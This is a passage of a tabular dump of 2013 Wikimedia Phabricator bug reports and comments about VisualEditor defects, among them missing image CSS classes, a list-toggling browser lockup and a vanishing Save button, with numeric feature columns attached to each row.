My testing was done using Firefox 22 on Xubuntu Linux",,,1374742787,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a2p56mvfah4kifyqy327,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,19.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,9.0,15.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.468085106382978,0.851063829787234,"The original reporter, numbermaniac, has done some additional testing and found that they do see the message when pressing save in Chrome on Windows 7. Their initial report was using iMac Safari.

My testing was done using Firefox 22 on Xubuntu Linux"
53995,VisualEditor: Thumb images are missing appropriate CSS classes,"For instance instead of class 'tright' or 'tleft' just class 't' gets added. It is regression of this change: https://gerrit.wikimedia.org/r/#/c/75526/

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374704160,1374793893.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.6304347826086957,"For instance instead of class 'tright' or 'tleft' just class 't' gets added. It is regression of this change: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
232089,VisualEditor: Thumb images are missing appropriate CSS classes,Now fixed in master and will be deployed in a few minutes' time.,,,1374793893,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,True,,,3,,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.9333333333333333,Now fixed in master and will be deployed in a few minutes' time.
232087,VisualEditor: Thumb images are missing appropriate CSS classes,"Change 75803 merged by jenkins-bot:
Fix MWBlockImageNodes' default horizontal location code

https://gerrit.wikimedia.org/r/75803",,,1374792604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,"Change 75803 merged by jenkins-bot:
Fix MWBlockImageNodes' default horizontal location code

GERRIT_URL"
232084,VisualEditor: Thumb images are missing appropriate CSS classes,"Change 75803 had a related patch set uploaded by Jforrester:
(bug 51995) Bugfix

https://gerrit.wikimedia.org/r/75803",,,1374705671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,"Change 75803 had a related patch set uploaded by Jforrester:
(bug 51995) Bugfix

GERRIT_URL"
232080,VisualEditor: Thumb images are missing appropriate CSS classes,"Change 75803 had a related patch set uploaded by Inez:
(bug 51995) Bugfix

https://gerrit.wikimedia.org/r/75803",,,1374705278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xnmn6i6yc73dhywaqm2m,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,1.0,"Change 75803 had a related patch set uploaded by Inez:
(bug 51995) Bugfix

GERRIT_URL"
53987,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"Firefox - Detected script lockup.

Misplacing a bulleted / numbered list can cause a script lockup. Tested on both Firefox 22 and Chrome 28

Steps to reproduce:
- Navigate to [[Lauda Air Flight 004]] and open it with the visual editor.
- Click the ""Lauda Air Flight 004"" infobox and make sure it remains selected.
- Click the ""Bulleted List"" button. A list bullet is added to the article.
- Click right after the bullet that was just inserted. Now click the ""Bulleted list"" button again.

Normally this would remove the bullet again. Instead of that both Firefox and Chrome seem to lock up. Firefox will lock up entirely (All open tabs will freeze) and eventually an unresponsive script error will be displayed. Cancelling the script allows you to regain browser control. On Chrome the lockup seems isolated to the tab where we edit Wikipedia, but it only offers the option to close the tab after a while (Losing all changes)

In practice one would never want to add a bulleted list this way, but actually ""crashing"" makes it severe enough to report i would assume.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11897}",High,80.0,1374695580,1383848723.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-ph24e22ltq2s3oztatem,task_description,resolved,True,c1,3,False,False,False,3,,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,5.0,6.333333333333333,0.0,2.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,3.0,0.3333333333333333,1.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,11.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,6.333333333333333,1.0,13.0,0.3333333333333333,2.3333333333333335,8.666666666666666,0.0,0.0,0.0,0.0,7.0,0.0,1.3333333333333333,0.0,3.0,6.333333333333333,5.666666666666667,0.0,2.6666666666666665,0.0,3.0,0.0,0.6666666666666666,2.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,3.869187675070028,0.6692810457516339,"Firefox - Detected script lockup.

Misplacing a bulleted / numbered list can cause a script lockup. Tested on both Firefox 22 and Chrome 28

Steps to reproduce:
- Navigate to [[Lauda Air Flight 004]] and open it with the visual editor.
- Click the ""Lauda Air Flight 004"" infobox and make sure it remains selected.
- Click the ""Bulleted List"" button. A list bullet is added to the article.
- Click right after the bullet that was just inserted. Now click the ""Bulleted list"" button again.

Normally this would remove the bullet again. Instead of that both Firefox and Chrome seem to lock up. Firefox will lock up entirely (All open tabs will freeze) and eventually an unresponsive script error will be displayed. Cancelling the script allows you to regain browser control. On Chrome the lockup seems isolated to the tab where we edit Wikipedia, but it only offers the option to close the tab after a while (Losing all changes)

In practice one would never want to add a bulleted list this way, but actually ""crashing"" makes it severe enough to report i would assume.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11897}"
255102,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"Resetting to FIXED; this was a confirmed broken behaviour which has subsequently been FIXED, as far as we can tell - probably by the re-write of the Content Editable surface interaction model.",,,1383848723,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.351351351351352,0.8918918918918919,"Resetting to FIXED; this was a confirmed broken behaviour which has subsequently been FIXED, as far as we can tell - probably by the re-write of the Content Editable surface interaction model."
255097,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"(In reply to comment #3)
> Cannot reproduce it now with MAC OS using FireFox and Chrome.

Please ALWAYS provide version information for browsers. 
Note that comment 0 says ""Tested on both Firefox 22 and Chrome 28"".

> So changing the status of the bug as resolved.

No identifiable code commit, hence changing to WORKSFORME instead of FIXED. Also see https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle",,,1383813525,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,2.0,7.0,0.0,0.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9454545454545453,0.8363636363636363,"(In reply to comment #3)
QUOTE

Please ALWAYS provide version information for browsers. 
Note that comment 0 says ""Tested on both Firefox 22 and Chrome 28"".

QUOTE

No identifiable code commit, hence changing to WORKSFORME instead of FIXED. Also see URL"
255092,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),"Cannot reproduce it now with MAC OS using FireFox and Chrome.So changing the status of the bug as resolved.
If you can still reproduce it ,please reopen the bug.",,,1383785800,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,8.0,11.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7222222222222223,0.8055555555555556,"Cannot reproduce it now with MAC OS using FireFox and Chrome.So changing the status of the bug as resolved.
If you can still reproduce it ,please reopen the bug."
255087,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),This is an infinite loop inside either Rangy or the bit of ContentEditable that calls it - lots of calls to sel.getRangeAt(index) which end up taking so long that the browser dies (?),,,1380836632,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,3.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,6.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,4.194444444444445,0.8611111111111112,This is an infinite loop inside either Rangy or the bit of ContentEditable that calls it - lots of calls to sel.getRangeAt(index) which end up taking so long that the browser dies (?)
255082,VisualEditor: Infinite loop (browser lockup) when removing an initial list item with a node inside it (rangy bug?),We should have a 'crash' or 'dataloss' keyword.  Bumping priority to get more attention/triaging in case the underlying cause is able to be triggered in other ways.,,,1380534678,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ph24e22ltq2s3oztatem,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,3.8333333333333335,0.8333333333333334,We should have a 'crash' or 'dataloss' keyword.  Bumping priority to get more attention/triaging in case the underlying cause is able to be triggered in other ways.
53986,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","The particular article in the URL field of this bug report doesn't not display the Save button in Firefox.

The Save button is displayed in Chrome, and it is displayed in other articles in Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://he.wikipedia.org/wiki/%D7%A9%D7%93_%28%D7%9E%D7%99%D7%AA%D7%95%D7%9C%D7%95%D7%92%D7%99%D7%94%29?veaction=edit",High,80.0,1374694260,1374700983.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.757575757575758,0.5454545454545454,"The particular article in the URL field of this bug report doesn't not display the Save button in Firefox.

The Save button is displayed in Chrome, and it is displayed in other articles in Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
255045,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown",This is now fixed in master; we will make sure it is deployed tomorrow.,,,1374700983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.9375,This is now fixed in master; we will make sure it is deployed tomorrow.
255041,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","Change 75785 merged by jenkins-bot:
Fix the save button disappearing on certain pages in Firefox

https://gerrit.wikimedia.org/r/75785",,,1374700767,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 75785 merged by jenkins-bot:
Fix the save button disappearing on certain pages in Firefox

GERRIT_URL"
255034,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","Change 75785 had a related patch set uploaded by Catrope:
Fix the save button disappearing on certain pages in Firefox

https://gerrit.wikimedia.org/r/75785",,,1374699991,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 75785 had a related patch set uploaded by Catrope:
Fix the save button disappearing on certain pages in Firefox

GERRIT_URL"
255026,"VisualEditor: Action buttons of the toolbar (including ""Save"") don't appear on some articles in Firefox because error is thrown","Another article where this happens:

https://he.wikipedia.org/wiki/%D7%A4%D7%9C%D7%99%D7%98%D7%99_%D7%9E%D7%9C%D7%97%D7%9E%D7%AA_%D7%94%D7%90%D7%96%D7%A8%D7%97%D7%99%D7%9D_%D7%91%D7%A1%D7%95%D7%A8%D7%99%D7%94?veaction=edit",,,1374694774,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-nlgy7km52ntxkqvlqnu2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Another article where this happens:

URL"
53984,VisualEditor: Clicking the hyper link button twice breaks the button.,"(Tested in Firefox 22 and Chrome 28)

Steps to reproduce:
- Open [[Portland Ice Arena (Oregon)]] with the visual editor.
- Click the hyperlink button (Don't select anything). The hyperlink window should pop up.
- Now click anywhere else in the article without entering any data in the hyperlink popup. 
- An empty popup balloon will remain behind. There are no controls on that popup anymore.
- Click around the article a bit - eventually that balloon will be removed. However, the link button will now fail to work no matter what you do.

This may or may not be related to bug 48549, which seems to have been fixed in todays deployment.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374691440,1433344352.0,PHID-USER-ohetl546bwt5ac2szu5w,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_description,duplicate,True,c1,3,False,False,False,3,,0.5,0.5,0.0,2.0,1.0,3.5,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.5,0.0,0.0,7.5,7.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,1.0,1.5,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,5.0,2.5,10.5,0.0,1.0,8.5,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.0,0.5,7.0,4.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,1.0,3.745679012345679,0.7018518518518518,"(Tested in Firefox 22 and Chrome 28)

Steps to reproduce:
- Open [[Portland Ice Arena (Oregon)]] with the visual editor.
- Click the hyperlink button (Don't select anything). The hyperlink window should pop up.
- Now click anywhere else in the article without entering any data in the hyperlink popup. 
- An empty popup balloon will remain behind. There are no controls on that popup anymore.
- Click around the article a bit - eventually that balloon will be removed. However, the link button will now fail to work no matter what you do.

This may or may not be related to bug 48549, which seems to have been fixed in todays deployment.

--------------------------
**Version**: unspecified
**Severity**: normal"
254940,VisualEditor: Clicking the hyper link button twice breaks the button.,"

*** This bug has been marked as a duplicate of bug 51404 ***",,,1383173187,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51404 ***"
254935,VisualEditor: Clicking the hyper link button twice breaks the button.,"most likely duplicate of bug 51404, which should be subsequently renamed from ""crashing when inserting link without selection"" to ""crashing when inserting link on non-linkable or empty selection""",,,1374864536,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wm36m5xxm3u54pgeyz4a,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,3.0,0.0,4.8,0.7714285714285715,"most likely duplicate of bug 51404, which should be subsequently renamed from ""crashing when inserting link without selection"" to ""crashing when inserting link on non-linkable or empty selection"""
254930,VisualEditor: Clicking the hyper link button twice breaks the button.,"Addendum:
After some more testing it would seem that the link button will always break whenever the user selects an element that normally wouldn't be hyperlinked. If one does select a non linkable element and presses the hyperlink button the empty balloon popup will always occur.  

